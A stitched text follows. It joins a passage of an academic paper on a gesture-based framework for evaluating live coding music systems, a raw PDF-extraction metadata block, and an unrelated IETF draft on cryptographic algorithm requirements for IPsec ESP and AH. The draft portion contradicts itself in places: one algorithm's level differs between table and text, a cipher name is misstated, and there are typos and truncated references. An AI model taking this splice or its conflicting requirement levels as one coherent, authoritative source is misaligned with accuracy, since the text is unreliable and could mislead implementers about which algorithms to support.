Several kinds of mental imagery have been reported in both expert and novice programmers (Petre & Blackwell, 1999). For example, both expert and novice programmers reported that they employed visual imagery when structuring a program. Gestures and algorithms can be difficult to put into strict boundaries, that is to put them into segmented structures. On the other hand, auditory and visual percepts exhibit segmentation properties. For instance, a sound event may attribute segmented boundaries to gestures via the onsets and the offsets of the sound. This is how computer music is linked to bodily movement through its temporal structure (Palmer, 1997).
2.3.3. Knit together systems and practices
So far, we have argued that a blend of effortfull and involuntary imagery takes place during performance. One instance of imagery is immediately linked to gestural interactions (Godøy, 2003), which has temporal advantages in comparison to auditory percepts (ie. “fast-forward” gestural representations). Moreover, musical notation can function as a source of imagery-induced processes. One can think that there is a solid ground already so to engage with the study of musical gestures in live coding, but the broad variations of systems and practices bring about a plethora of gestural interactions. On top of that, we have to take into consideration some principles of human-computer interaction. For instance, standard live coding systems which are based on typing on a keyboard are known to offer terrible closeness of mapping (Blackwell & Collins, 2005). In fact, live coding systems that incorporate the keyboard for
gestural control may be seen as obscured, as typing on a keyboard is “neither observed nor significant”\(^1\) (Jensenius et al., 2010).
Here, the contribution by Marije Baalman is more than significant (Baalman, 2009). Baalman demonstrated in her “Code LiveCode Live” session that typing on a keyboard can bring about meaning and made the transition from an unspecified and “non significant” domain to the musical gestures domain. This point is likely the very essence of this article, which is linked to the very title of this paper. That is, potentially equivalent live coding systems may bring about different performance practices. This in return, can bring forth novel contributions such as assigning meaning to “non significant” actions, like typing on a keyboard.
3. A conceptual framework for evaluation of live coding music systems based on gestural interactions
Our investigation began by examining different systems and practices in musical live coding. We reviewed half a dozen live coding systems from the viewpoint of how gestural interactions vary across different practitioners. A turning point which made us realize the importance of variations in performance practices was Marije’s Baalman “Code LiveCode Live”. The interesting characteristic of Marije’s system is that it is potentially equivalent to a standard live coding system. Particularly, Marije used SuperCollider language which is commonly used by many live coders. The only difference between a standard live coding system based on SuperCollider and “Code LiveCode Live” is that Marije activated the built-in microphone and other sensors of the laptop while typing. In that manner she used the typing sounds on the keyboard as the raw material of the composition. This action transformed the meaning of typing in Marije’s system. Typing on a keyboard cannot be seen as a non significant action neither as not observed. In contrast, typing has now become a musical gesture, which is actually a sound-producing gesture. That is, it is absolutely significant for the production of the sound. This realization, demonstrated how different practices may bring about creative acts in potentially equivalent live coding systems.
In the following section we are discussing the four main systems under investigation. Next, we present a preliminary visualization of our framework. At the end of this section, we discuss two more systems which cannot be represented using our framework. A discussion follows including potential future work and adjustments can be done to fine tune the framework.
3.1. Four systems under investigation
Here, we focus on four idiosyncratic live coding systems by emphasizing on the gestural control. These are Al-jazzari by Dave Griffiths, stateLogic machine by Diapoulis, Code LiveCode Live by Baalman and CodeKlavier by Noriega & Veinberg. The motivation was to examine cases where the musical gestures play an important role in gestural control. As such we included typical cases where the keyboard is used as the input interface, but also exotic (Diapoulis & Zannos, 2012, 2014) and metaphorical design cases, like piano performances (Tanimoto, 2017). The aforementioned variations clearly showed that music systems incorporate design metaphors (Wessel & Wright, 2002). A typical case of a design metaphor denotes a computer music system that was developed based on some existing musical instrument. For example, if we map the letters of the keyboard to a MIDI piano this would account as a metaphorical design. In contrast, literal design setups, like the standard live coding systems, are based on a keyboard which may inhibit gestural expression in comparison to playing the piano.
3.1.1. Code LiveCode Live
Marije Baalman approached the tackling issue of embodiment within laptop performance by incorporating the clicking sounds on the keyboard into her musical composition (Baalman, 2009, 2015). In that manner, Marije accomplished direct sound to be heard during her live coding performance, as she used physical data as audio input (Nilson, 2007). That was indeed a novel contribution, although the practi-
---
\(^1\)Original quote by Hulteen (1990) state that (p.310) “A gesture is a motion of the body that contains information. Waving goodbye is a gesture. Pressing a key on a keyboard is not a gesture because the motion of a finger on it’s way to hitting a key is neither observed nor significant. All that matters is which key was pressed”.
---
calities of such dual-functionality of the keyboard as both a percussive instrument and a typing UI could not establish a “normal paradigm” for live coding music performance. In fact, Marije’s apparatus was not aiming to reach this goal. Most likely her novel contribution was indicating self-referential aspects, as they unfold, during performance. If this apparatus was meant to be taken literally as a “standard” for performance, then it would have triggered a parallel co-evolution of novel keyboard setups, UIs and programming languages.
3.1.2. CodeKlavier
In the same direction the CodeKlavier system (Noriega & Veinberg, 2019), demonstrated a novel live coding performance setup by employing the clavier of the piano as input interface. The novel contribution of the “Hello world” performance was that the authors literally executed a hello world program using the piano as input interface. Whereas this may sound as a “dummy” demonstration, the aim was to be a proof of concept. Below we will focus on the fourth revision of the system, also known as CK-calculator. If we imagine a one-dimensional space of design metaphors (Dahl & Wang, 2010) and literal design then the CodeKlavier would be on the one end of design metaphor and Baalman’s approach on the other end of literal design. Moreover, the two systems differ on another dimension. Marije’s design is agnostic to the significance of keypresses, whereas in CodeKlavier CKalculator design the importance of keypresses is highly significant to structure the code. By algorithm agnostic we mean that Marije’s gestures do not have any impact on the algorithm itself. The coder is doing as many gestures as she likes, she might also do gestures without any temporal contraints and this has no effect on the algorithmic structure of the program.
3.1.3. Al-jazzari
Contrary to the previous two music systems, Dave Griffiths presented one of the very first systems which approached live coding from a low-level perspective (McLean, Griffiths, Collins, & Wiggins, 2010). Al-jazzari is building on a metaphorical design in which a computer game is used as a notation for live coding. The computational approach relies on evaluating commands from a minimalistic instruction set and the input interface is a gamepad controller. Here, every user’s action has a significant impact on the algorithm. This is because a positive edge clock is registering the user’s input in real-time.
3.1.4. stateLogic machine
Diapoulis and Zannos (2012, 2014) presented a low-level computational approach to deal with live coding. The users’ input is provided on the lowest level of the machine, that is, the bit level. The machine is a combination of two finite state machines (FSM), a counter and a decoder, and the user interface is an automaton itself. In the revised version (Diapoulis & Zannos, 2014), the machine was able to recognize regular expressions and generated a minimal type-3 language, which enumerated seven words. Here, the design is literal as the performer is providing the input using switches. The actions of the performer are absolutely significant to the algorithm and the code precedes to the generated music.
3.2. Dimensional framework
One way to evaluate live coding systems is to rely on a multi-dimensional space. Here, we decided to constrain the proposed framework up to three dimensions. Whereas an orthogonal three-dimensional system can be misleading, we decided to employ such representation to facilitate the understanding of the reader. Our intention was to provide a comprehensible visual representation of the framework. Thus, we engaged in a process of identifying the most important semantic differentials which can reflect the variations between the systems under investigation.
Our first observation was that the interface design can be either metaphorical or literal. We introduce here the term “literal design” to denote that the system fulfills the requirements of a standard live coding system. That is, the interface is based on some sort of electronic components such as switches, keyboards, circuits and the like. This is the first dimension (X-axis) of the framework as shown in Figure 2.
---
2 CodeKlavier - hello world (Anne Veinberg playing piano and coding at the same time!) https://youtu.be/ypcB8Fb6VTU
3 Anne Veinberg, Felipe Ignacio Noriega - The CodeKlavier CKalculator (...) | Lambda Days 2019: https://www.youtube.com/watch?v=0fL40oLU8C4
Here, we assert that the interface design should be reflected to the qualities of gestural interactions.
The second dimension of the framework examines the importance of gestural interactions on the algorithm of the system. For instance, in the case of stateLogic machine every input provided from the user modifies the algorithm of the system. To provide a more concrete example, here, we have to introduce a third dimension which has direct manipulation on the lower end and algorithmic complexity on the upper end. If we imagine a continuous gesture on a tangible interface then this is a direct manipulation gesture. The question arises, “what if there is an algorithm behind this direct manipulation gesture?” (Björk, 2021). For this reason, the second dimension of the framework clarifies whether the gesture is actually significant to the running algorithm or it is agnostic to it. Thus, the second dimension, as shown on the Y-axis, corresponds to gestural mapping and the third dimension, Z-axis, to user interaction.
The directionality of the axes was designed to represent concrete concepts on the lower end and abstract concepts on the upper end. This is a cognitive paradigm that shows a directionality from low-level concepts to high-level concepts. The three basic dimensions on the framework are shown in Table 1. The dimensions represent some of the basic processes that the live coder is engaged with during the development of a musical performance system.
Table 1 – Each axis denotes a process which is represented by semantic differentials. The directionality of the axes is composed by low-level concepts on the lower end and high-level concepts on the upper end.
<table>
<thead>
<tr>
<th>X-axis</th>
<th>Interface design</th>
<th>Low-level (concrete)</th>
<th>High-level (abstract)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Y-axis</td>
<td>Gestural mapping</td>
<td>literal design</td>
<td>metaphorical design</td>
</tr>
<tr>
<td>Z-axis</td>
<td>User interaction</td>
<td>direct manipulation</td>
<td>algorithm agnostic</td>
</tr>
</tbody>
</table>
Finally, as shown in Figure 2 we included a binary dimension as was proposed by Tanimoto (2017). In a live coding system, either the code precedes the music (code-first) or the music precedes the code (music-first). Regarding the case of Baalman’s system, we categorize it as a music-first because the typing sounds are feeded forward to the generated music. Here, we have to highlight that if the performer does not execute any commands to switch on the built-in microphone of the laptop, then no typing sounds will be heard. In that manner, the system may also be categorized as code-first. In principle, a more accurate description would be to go beyond the binary division of code-first and music-first to include more categories. In this case, Baalman’s system would be a conditional music-first system.
3.3. Beyond the expressive capacities of the framework
Below we present two cases which cannot be represented with the propose framework.
3.3.1. Type-A personality
The piano composition “Type-A personality” was performed during the first international conference in live coding (Collins & Veinberg, 2015). The pianist is playing the piano but also typing on a keyboard at the same time. Indicatively, keyboard characters are shown on the score in the video of the performance. This system cannot be categorized neither as a metaphorical design nor as a literal design. Furthermore, the gestural mapping seems to be significant to the algorithm but an interview with the either the composer or the performer will shed light to it. For example, if a machine listening component performs online music analysis then the gestural interactions are significant to the algorithmic. Finally, the system seems to incorporate only direct manipulation.
3.3.2. Threnoscope
The live coding system “Threnoscope” presented a blend of visual notation coupled to a standard live coding system (Magnusson, 2014). The implementation was done in SuperCollider and the performer can use both the keyboard and the mouse for user interaction. In that manner, the system incorporates both direct manipulation and algorithmic complexity. The gestural interaction is agnostic the algorithm, although when the performer interacts with the visual notation it can adjust numerical values on different
Figure 2 – Dimensional framework from the viewpoint of gestural interactions. Uppercase characters “H” and “L” correspond to high-level and low-level concepts for the triad XYZ axes, respectively. Dashed arrows show systems that the code precedes the generation of sound.
parameters.
4. Discussion
We presented a preliminary version of an evaluation framework for musical live coding systems from the viewpoint of gestural interactions. Musical gestures in traditional music performance have a long history and the musicians are well-known to be experts of sensorimotor control. A central theme in our study was to build upon a theoretical background in which the musical activities are seen as nested categories. Indicatively, music-making incorporates both music listening and musical imagery. An attempt was made to explain how gestural unfoldings may influence our mental model of the running program. This may be explained through segmented structures that are realized by auditory percepts, which in return may influence the fast-forward of gestural interactions. On the level of musical imagery, spontaneous imagery has shown to influence motor activity (Haueisen & Knösche, 2001), thus, it can be involved in action planning and execution (Keller, 2012).
A clear distinction between musical live coding systems and practices is made, to facilitate the understanding of the reader. Interestingly, we presented a case (Baalman, 2009) in which potentially equivalent systems can bring about different performance practices. Our motivation was to conceptualize how variations in performance practices may contribute to the development of novel systems. The preliminary nature of the proposed framework is exemplified by two special cases which cannot be represented in a consistent manner. Furthermore, the three-dimensional representation that was chosen for visual communication, may be misleading for the reader as the orthogonality of the axes typically corresponds to independent concepts.
Furthermore, we introduced the dimension of gestural mapping from the viewpoint of how gestural interactions may have an effect on the running algorithm. This clarifies the reason that the direct manipulation and the algorithmic complexity are presented as semantic differential concepts.
Future studies should evaluate the validity of the framework, either using quantitative, qualitative or mixed methods. Indicatively, interview studies can be very beneficial for verifying shared conceptions among the community of live coders. How such frameworks may benefit the live coding community? We believe that by offering a conceptual framework based on the viewpoint of gestural interactions we will facilitate the development of novel performance systems. Engaging into iterative processes by practicing and making efforts to go beyond the expressive capacities of such frameworks can be only beneficial for our imagination during performance.
5. References
|
{"Source-Url": "https://research.chalmers.se/publication/526821/file/526821_Fulltext.pdf", "len_cl100k_base": 6444, "olmocr-version": "0.1.50", "pdf-total-pages": 10, "total-fallback-pages": 0, "total-input-tokens": 24033, "total-output-tokens": 8213, "length": "2e12", "weborganizer": {"__label__adult": 0.0019931793212890625, "__label__art_design": 0.11102294921875, "__label__crime_law": 0.0011854171752929688, "__label__education_jobs": 0.006427764892578125, "__label__entertainment": 0.01206207275390625, "__label__fashion_beauty": 0.000957965850830078, "__label__finance_business": 0.0008554458618164062, "__label__food_dining": 0.0019664764404296875, "__label__games": 0.004467010498046875, "__label__hardware": 0.004467010498046875, "__label__health": 0.0019092559814453125, "__label__history": 0.0009255409240722656, "__label__home_hobbies": 0.0005388259887695312, "__label__industrial": 0.001399993896484375, "__label__literature": 0.0052490234375, "__label__politics": 0.001117706298828125, "__label__religion": 0.0021877288818359375, "__label__science_tech": 0.23779296875, "__label__social_life": 0.0006203651428222656, "__label__software": 0.01885986328125, "__label__software_dev": 0.57958984375, "__label__sports_fitness": 0.0016279220581054688, "__label__transportation": 0.002162933349609375, "__label__travel": 0.0006680488586425781}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 36134, 0.0365]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 36134, 0.49944]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 36134, 0.91245]], "google_gemma-3-12b-it_contains_pii": [[0, 3941, false], [3941, 8420, null], [8420, 11534, null], [11534, 16063, null], [16063, 20534, null], [20534, 24977, null], [24977, 29257, null], [29257, 31550, null], [31550, 35230, null], [35230, 36134, null]], "google_gemma-3-12b-it_is_public_document": [[0, 3941, true], [3941, 8420, null], [8420, 11534, null], [11534, 16063, null], [16063, 20534, null], [20534, 24977, null], [24977, 29257, null], [29257, 31550, null], [31550, 35230, null], [35230, 36134, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 36134, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 36134, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 36134, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 36134, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 36134, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 36134, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 36134, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 36134, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 36134, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 36134, null]], "pdf_page_numbers": [[0, 3941, 1], [3941, 8420, 2], [8420, 11534, 3], [11534, 16063, 4], [16063, 20534, 5], [20534, 24977, 6], [24977, 29257, 7], [29257, 31550, 8], [31550, 35230, 9], [35230, 36134, 10]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 36134, 0.03333]]}
|
olmocr_science_pdfs
|
2024-11-28
|
2024-11-28
|
221f0a895f82658e101f4f95addf7151ae6e360d
|
Cryptographic Algorithm Implementation Requirements and Usage Guidance for Encapsulating Security Payload (ESP) and Authentication Header (AH)
draft-mglt-ipsecme-rfc7321bis-02
Abstract
This document updates the Cryptographic Algorithm Implementation Requirements for ESP and AH. The goal of these document is to enable ESP and AH to benefit from cryptography that is up to date while making IPsec interoperable.
This document obsoletes RFC 7321 on the cryptographic recommendations only.
Status of This Memo
This Internet-Draft is submitted in full conformance with the provisions of BCP 78 and BCP 79.
Internet-Drafts are working documents of the Internet Engineering Task Force (IETF). Note that other groups may also distribute working documents as Internet-Drafts. The list of current Internet-Drafts is at http://datatracker.ietf.org/drafts/current/.
Internet-Drafts are draft documents valid for a maximum of six months and may be updated, replaced, or obsoleted by other documents at any time. It is inappropriate to use Internet-Drafts as reference material or to cite them other than as "work in progress."
This Internet-Draft will expire on March 5, 2017.
Copyright Notice
Copyright (c) 2016 IETF Trust and the persons identified as the document authors. All rights reserved.
1. Introduction
The Encapsulating Security Payload (ESP) [RFC4303] and the Authentication Header (AH) [RFC4302] are the mechanisms for applying cryptographic protection to data being sent over an IPsec Security Association (SA) [RFC4301].
This document provides guidance and recommendations so that ESP and AH can be used with a cryptographic algorithms that are up to date. The challenge of such document is to make sure that over the time IPsec implementations can use secure and up-to-date cryptographic algorithms while keeping IPsec interoperable.
1.1. Updating Algorithm Implementation Requirements and Usage Guidance
The field of cryptography evolves continuously. New stronger algorithms appear and existing algorithms are found to be less secure than originally thought. Therefore, algorithm implementation requirements and usage guidance need to be updated from time to time.
to reflect the new reality. The choices for algorithms must be conservative to minimize the risk of algorithm compromise. Algorithms need to be suitable for a wide variety of CPU architectures and device deployments ranging from high end bulk encryption devices to small low-power IoT devices.
The algorithm implementation requirements and usage guidance may need to change over time to adapt to the changing world. For this reason, the selection of mandatory-to-implement algorithms was removed from the main IKEv2 specification and placed in a separate document.
1.2. Updating Algorithm Requirement Levels
The mandatory-to-implement algorithm of tomorrow should already be available in most implementations of AH/ESP by the time it is made mandatory. This document attempts to identify and introduce those algorithms for future mandatory-to-implement status. There is no guarantee that the algorithms in use today may become mandatory in the future. Published algorithms are continuously subjected to cryptographic attack and may become too weak or could become completely broken before this document is updated.
This document only provides recommendations for the mandatory-to-implement algorithms or algorithms too weak that are recommended not to be implemented. As a result, any algorithm listed at the IPsec IANA registry not mentioned in this document MAY be implemented. As [RFC7321] omitted most of the algorithms mentioned by the IPsec IANA repository, which makes it difficult to define whether non mentioned algorithms are optional to implement or must not be implemented as they are too weak. This document provides explicit guidance for all of them. It is expected that this document will be updated over time and next versions will only mention algorithms which status has evolved. For clarification when an algorithm has been mentioned in [RFC7321], this document states explicitly the update of the status.
Although this document updates the algorithms to keep the AH/ESP communication secure over time, it also aims at providing recommendations so that AH/ESP implementations remain interoperable. AH/ESP interoperability is addressed by an incremental introduction or deprecation of algorithms. In addition, this document also considers the new use cases for AH/ESP deployment, such as Internet of Things (IoT).
It is expected that deprecation of an algorithm is performed gradually. This provides time for various implementations to update their implemented algorithms while remaining interoperable. Unless there are strong security reasons, an algorithm is expected to be downgraded from MUST to MUST- or SHOULD, instead of MUST NOT.
Similarly, an algorithm that has not been mentioned as mandatory-to-implement is expected to be introduced with a SHOULD instead of a MUST.
The current trend toward Internet of Things and its adoption of AH/ESP requires this specific use case to be taken into account as well. IoT devices are resource constrained devices and their choice of algorithms are motivated by minimizing the footprint of the code, the computation effort and the size of the messages to send. This document indicates "[IoT]" when a specified algorithm is specifically listed for IoT devices. Requirement levels that are marked as "IoT" apply to IoT devices and to server-side implementations that might presumably need to interoperate with them, including any general-purpose VPN gateways.
1.3. Document Audience
The recommendations of this document mostly target AH/ESP implementers as implementations need to meet both high security expectations as well as high interoperability between various vendors and with different versions. Interoperability requires a smooth move to more secure cipher suites. This may differ from a user point of view that may deploy and configure AH/ESP with only the safest cipher suite.
This document does not give any recommendations for the use of algorithms, it only gives implementation recommendations for implementations. The use of algorithms by users is dictated by the security policy requirements for that specific user, and are outside the scope of this document.
The algorithms considered here are listed by the IANA as part of the IKEv2 parameters. IKEv1 is out of scope of this document. IKEv1 is deprecated and the recommendations of this document must not be considered for IKEv1, nor IKEv1 parameters be considered by this document.
The IANA registry for Internet Key Exchange Version 2 (IKEv2) Parameters contains some entries that are not for use with ESP or AH. This document does not modify the status of those algorithms.
2. Requirements Language
The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT", "SHOULD", "SHOULD NOT", "RECOMMENDED", "NOT RECOMMENDED", "MAY", and "OPTIONAL" in this document are to be interpreted as described in [RFC2119].
Following [RFC4835], we define some additional key words:
**MUST-** This term means the same as MUST. However, we expect that at some point in the future this algorithm will no longer be a MUST.
**SHOULD+** This term means the same as SHOULD. However, it is likely that an algorithm marked as SHOULD+ will be promoted at some future time to be a MUST.
### 3. ESP Encryption Algorithms
<table>
<thead>
<tr>
<th>Name</th>
<th>Status</th>
<th>AEAD</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>ENCR_DES_IV64</td>
<td>MUST NOT</td>
<td>No</td>
<td>UNSPECIFIED</td>
</tr>
<tr>
<td>ENCR_DES</td>
<td>MUST NOT</td>
<td>No</td>
<td>[RFC2405]</td>
</tr>
<tr>
<td>ENCR_3DES</td>
<td>SHOULD NOT</td>
<td>No</td>
<td>[RFC2451]</td>
</tr>
<tr>
<td>ENCR_BLOWFISH</td>
<td>MUST NOT</td>
<td>No</td>
<td>[RFC2451]</td>
</tr>
<tr>
<td>ENCR_3IDEA</td>
<td>MUST NOT</td>
<td>No</td>
<td>UNSPECIFIED</td>
</tr>
<tr>
<td>ENCR_DES_IV32</td>
<td>MUST NOT</td>
<td>No</td>
<td>UNSPECIFIED</td>
</tr>
<tr>
<td>ENCR_NULL</td>
<td>MUST</td>
<td>No</td>
<td>[RFC2410]</td>
</tr>
<tr>
<td>ENCR_AES_CBC</td>
<td>MUST</td>
<td>No</td>
<td>[RFC3602][1]</td>
</tr>
<tr>
<td>ENCR_AES_CCM_8</td>
<td>SHOULD</td>
<td>Yes</td>
<td>[RFC4309][1][IoT]</td>
</tr>
<tr>
<td>ENCR_AES_GCM_16</td>
<td>MUST</td>
<td>Yes</td>
<td>[RFC4106][1]</td>
</tr>
<tr>
<td>ENCR_CHACHA20_POLY1305</td>
<td>SHOULD</td>
<td>Yes</td>
<td>[RFC7634]</td>
</tr>
</tbody>
</table>
[1] - This requirement level is for 128-bit keys. 256-bit keys are at SHOULD. 192-bit keys can safely be ignored. [IoT] - This requirement is for interoperability with IoT.
IPsec sessions may have very long life time, and carry multiple packets, so there is a need to move 256-bit keys in the long term. For that purpose requirement level is for 128 bit keys and 256 bit keys are at SHOULD (when applicable). In that sense 256 bit keys status has been raised from MAY in RFC7321 to SHOULD.
IANA has allocated codes for cryptographic algorithms that have not been specified by the IETF. Such algorithms are noted as UNSPECIFIED. Usually, the use of these algorithms is limited to specific cases, and the absence of specification makes interoperability difficult for IPsec communications. These algorithms were not been mentioned in [RFC7321] and this document clarify that such algorithms MUST NOT be implemented for IPsec communications.
Similarly IANA also allocated code points for algorithms that are not expected to be used to secure IPsec communications. Such algorithms
are noted as Non IPsec. As a result, these algorithms MUST NOT be implemented.
Various older and not well tested and never widely implemented ciphers have been changed to MUST NOT.
ENC_R_3DES status has been downgraded from MAY in RFC7321 to SHOULD NOT. ENCR_CHACHA20_POLY1305 is a more modern approach alternative for ENCR_3DES than ENCR_AES_CBC and so it expected to be favored to replace ENCR_3DES.
ENC_BLOWFISH has been downgraded to MUST NOT as it has been deprecated for years by TWOFISH, which is not standarized for ESP and therefor not listed in this document. Some implementations support TWOFISH using a private range number.
ENC_R_NULL status was set to MUST in [RFC7321] and remains a MUST to enable the use of ESP with only authentication which is preferred over AH due to NAT traversal. ENCR_NULL is expected to remain MUST by protocol requirements.
ENC_R_AES_CBC status remains to MUST. ENCR_AES_CBC MUST be implemented in order to enable interoperability between implementation that followed RFC7321. However, there is a trend for the industry to move to AEAD encryption, and the overhead of ENCR_AES_CBC remains quite large so it is expected to be replaced by AEAD algorithms in the long term.
ENC_R_AES_CCM_8 status was set to MAY in [RFC7321] and has been raised from MAY to SHOULD in order to interact with Internet of Things devices. As this case is not a general use case for VPNs, its status is expected to remain as SHOULD.
ENC_R_AES_GCM_16 status has been updated from SHOULD+ to MUST in order to favor the use of authenticated encryption and AEAD algorithms. ENCR_AES_GCM_16 has been widely implemented for ESP due to its increased performance and key longevity compared to ENCR_AES_CBC.
ENC_R_CHACHA20_POLY1305 was not ready to be considered at the time of RFC7321. It has been recommended by the CRFG and others as an alternative to ENCR_AES_XCBC and ENCR_AES_GCM_. It is also being standardized for ESP for the same reasons. At the time of writing, there are not enough ESP implementations of ENCR_CHACHA20_POLY1305 to be able to introduce it at the SHOULD+ level. Its status has been set to SHOULD and is expected to become MUST in the long term.
4. ESP and AH Authentication Algorithms
Encryption without authentication MUST NOT be used. As a result, authentication algorithm recommendations in this section are targeting two types of communications: firstly authenticated only communications without encryption. Such communications can be ESP with NULL encryption or AH communications. Secondly, communications that are encrypted with non AEAD encryption algorithms mentioned above. In this case, they MUST be combined with an authentication algorithm.
<table>
<thead>
<tr>
<th>Name</th>
<th>Status</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>AUTH_NONE</td>
<td>MUST / MUST NOT</td>
<td>[RFC7296] AEAD</td>
</tr>
<tr>
<td>AUTH_HMAC_MD5_96</td>
<td>MUST NOT</td>
<td>[RFC2403][RFC7296]</td>
</tr>
<tr>
<td>AUTH_HMAC_SHA1_96</td>
<td>MUST -</td>
<td>[RFC2404][RFC7296]</td>
</tr>
<tr>
<td>AUTH_DES_MAC</td>
<td>MUST NOT</td>
<td>[UNSPECIFIED]</td>
</tr>
<tr>
<td>AUTH_KPDK_MD5</td>
<td>MUST NOT</td>
<td>[UNSPECIFIED]</td>
</tr>
<tr>
<td>AUTH_AES_XCBC_96</td>
<td>SHOULD</td>
<td>[RFC3566][RFC7296]</td>
</tr>
<tr>
<td>AUTH_AES_128_GMAC</td>
<td>MAY</td>
<td>[RFC4543]</td>
</tr>
<tr>
<td>AUTH_AES_256_GMAC</td>
<td>MAY</td>
<td>[RFC4543]</td>
</tr>
<tr>
<td>AUTH_HMAC_SHA2_256_128</td>
<td>MUST</td>
<td>[RFC4868]</td>
</tr>
<tr>
<td>AUTH_HMAC_SHA2_512_256</td>
<td>SHOULD</td>
<td>[RFC4868]</td>
</tr>
</tbody>
</table>
[IoT] - This requirement is for interoperability with IoT
AUTH_NONE has been downgraded from MAY in RFC7321 to MUST NOT. The only reason NULL is acceptable is when authenticated encryption algorithms are selected from Section 3. In all other case, NULL MUST NOT be selected. As ESP and AH provides both authentication, one may be tempted to combine these protocol to provide authentication. As mentioned by RFC7321, it is NOT RECOMMENDED to use ESP with NULL authentication - with non authenticated encryption - in conjunction with AH; some configurations of this combination of services have been shown to be insecure [PD10]. In addition, NULL authentication cannot be combined with ESP NULL encryption.
AUTH_HMAC_MD5_96 and AUTH_KPDK_MD5 were not mentioned in RFC7321. As MD5 is known to be vulnerable to collisions, these algorithms MUST NOT be used.
AUTH_HMAC_SHA1_96 has been downgraded from MUST in RFC7321 to MUST - as there is an industry-wide trend to deprecate its usage.
AUTH_DES_MAC was not mentioned in RFC7321. As DES is known to be vulnerable, it MUST NOT be used.
AUTH_AES_XCBC_96 is only recommended in the scope of IoT, as Internet of Things deployments tend to prefer AES based HMAC functions in order to avoid implementing SHA2. For the wide VPN deployment, as it has not been widely adopted, it has been downgraded from SHOULD to MAY.
AUTH_AES_128_GMAC status has been downgraded from SHOULD+ to MAY. Along with AUTH_AES_192_GMAC and AUTH_AES_256_GMAC, these algorithms should only be used for AH not for ESP. If using ENCR_NULL, AUTH_HMAC_SHA2_256_128 is recommended for integrity. If using GMAC without authentication, ENCR_NULL_AUTH_AES_GMAC is recommended. Therefore, these ciphers are kept at MAY.
AUTH_HMAC_SHA2_256_128 was not mentioned in RFC7321, as no SHA2 based authentication was mentioned. AUTH_HMAC_SHA2_256_128 MUST be implemented in order to replace AUTH_HMAC_SHA1_96. Note that due to a long standing common implementation bug of this algorithm that truncates the hash at 96-bits instead of 128-bits, it is recommended that implementations prefer AUTH_HMAC_SHA2_512_256 over AUTH_HMAC_SHA2_256_128 if they implement AUTH_HMAC_SHA2_512_256.
AUTH_HMAC_SHA2_512_256 SHOULD be implemented as a future replacement of AUTH_HMAC_SHA2_256_128 or when stronger security is required. This value has been preferred to AUTH_HMAC_SHA2_384, as the additional overhead of AUTH_HMAC_SHA2_512 is negligible.
5. ESP and AH Compression Algorithms
<table>
<thead>
<tr>
<th>Name</th>
<th>Status</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>IPCOMP_OUI</td>
<td>MUST NOT</td>
<td>UNSPECIFIED</td>
</tr>
<tr>
<td>IPCOMP_DEFLATE</td>
<td>MAY</td>
<td>[RFC2393]</td>
</tr>
<tr>
<td>IPCOMP_LZS</td>
<td>MAY</td>
<td>[RFC2395]</td>
</tr>
<tr>
<td>IPCOMP_LZJH</td>
<td>MAY</td>
<td>[RFC3051]</td>
</tr>
</tbody>
</table>
[IoT] - This requirement is for interoperability with IoT
Compression was not mentioned in RFC7321. As it is not widely deployed, it remains optional and at the MAY-level.
6. Acknowledgements
Some of the wording in this document was adapted from [RFC7321], the document that this one obsoletes, which was written by D. McGrew and P. Hoffman.
7. IANA Considerations
This document has no IANA actions.
8. Security Considerations
The security of a system that uses cryptography depends on both the strength of the cryptographic algorithms chosen and the strength of the keys used with those algorithms. The security also depends on the engineering and administration of the protocol used by the system to ensure that there are no non-cryptographic ways to bypass the security of the overall system.
This document concerns itself with the selection of cryptographic algorithms for the use of ESP and AH, specifically with the selection of mandatory-to-implement algorithms. The algorithms identified in this document as "MUST implement" or "SHOULD implement" are not known to be broken at the current time, and cryptographic research to date leads us to believe that they will likely remain secure into the foreseeable future. However, this is not necessarily forever. Therefore, we expect that revisions of that document will be issued from time to time to reflect the current best practice in this area.
9. References
9.1. Normative References
9.2. Informative References
[RFC4303] Kent, S., "IP Encapsulating Security Payload (ESP)",
RFC 4303, DOI 10.17487/RFC4303, December 2005,
Implementation Requirements and Usage Guidance for
Encapsulating Security Payload (ESP) and Authentication
Header (AH)", RFC 7321, DOI 10.17487/RFC7321, August 2014,
[RFC7634] Nir, Y., "ChaCha20, Poly1305, and Their Use in the
Internet Key Exchange Protocol (IKE) and IPsec", RFC 7634,
DOI 10.17487/RFC7634, August 2015,
[PD10] Paterson, K. and J. Degabriele, "On the (in)security of
IPsec in MAC-then-encrypt configurations (ACM Conference
[RFC2393] Shacham, A., Monsour, R., Pereira, R., and M. Thomas, "IP
Payload Compression Protocol (IPComp)", RFC 2393,
DOI 10.17487/RFC2393, December 1998,
LZS", RFC 2395, DOI 10.17487/RFC2395, December 1998,
[RFC2403] Madson, C. and R. Glenn, "The Use of HMAC-MD5-96 within
ESP and AH", RFC 2403, DOI 10.17487/RFC2403, November
ESP and AH", RFC 2404, DOI 10.17487/RFC2404, November
[RFC2405] Madson, C. and N. Doraswamy, "The ESP DES-CBC Cipher
